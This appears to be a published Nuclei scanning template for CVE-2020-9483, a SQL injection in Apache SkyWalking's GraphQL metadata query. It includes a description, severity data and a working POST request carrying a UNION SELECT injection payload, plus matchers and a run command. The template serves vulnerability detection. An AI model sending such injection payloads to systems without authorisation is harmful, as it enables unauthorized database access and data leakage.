SkyWalking SQLI

ID: CVE-2020-9483

Severity: high

Author: pikpikcu

Tags: cve,cve2020,sqli,skywalking,apache

Description

When using H2/MySQL/TiDB as Apache SkyWalking storage and a metadata query through GraphQL protocol, there is a SQL injection vulnerability which allows access to unexpected data. Apache SkyWalking 6.0.0 to 6.6.0, 7.0.0 H2/MySQL/TiDB storage implementations don’t use the appropriate way to set SQL parameters.

YAML Source

id: CVE-2020-9483

info:
  name: SkyWalking SQLI
  author: pikpikcu
  severity: high
  description: |
    When using H2/MySQL/TiDB as Apache SkyWalking storage and a metadata query through GraphQL protocol, there is a SQL injection vulnerability which allows access to unexpected data. Apache SkyWalking 6.0.0 to 6.6.0, 7.0.0 H2/MySQL/TiDB storage implementations don't use the appropriate way to set SQL parameters.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
  remediation: |
    Apply the latest security patches or updates provided by the SkyWalking project to fix the SQL injection vulnerability.
  reference:
    - https://github.com/apache/skywalking/pull/4639
    - https://nvd.nist.gov/vuln/detail/CVE-2020-9483
    - https://github.com/Elsfa7-110/kenzer-templates
    - https://github.com/developer3000S/PoC-in-GitHub
    - https://github.com/pen4uin/awesome-vulnerability-research
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2020-9483
    cwe-id: CWE-89
    epss-score: 0.0522
    epss-percentile: 0.92833
    cpe: cpe:2.3:a:apache:skywalking:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: apache
    product: skywalking
  tags: cve,cve2020,sqli,skywalking,apache

http:
  - method: POST
    path:
      - "{{BaseURL}}/graphql"

    body: |
      {"query":"query SQLi($d: Duration!){globalP99:getLinearIntValues(metric: {name:\"all_p99\",id:\"') UNION SELECT 1,CONCAT('~','9999999999','~')-- \",}, duration: $d){values{value}}}","variables":{"d":{"start":"2021-11-11","end":"2021-11-12","step":"DAY"}}}

    headers:
      Content-Type: application/json

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "Content-Type: application/json"

      - type: word
        part: body
        words:
          - "UNION SELECT 1,CONCAT('~','9999999999','~')--"
          - 'Exception while fetching data'
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a004730450220179bf880ba2ed3de7bbf193ecfa8a230b9faf38898df86f169bf6ced779f1ccf02210096b2d016b66853d1eb140efe3d1cd5810e2b94bb69efcbe7b07c99e5812a22ca:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2020/CVE-2020-9483.yaml"

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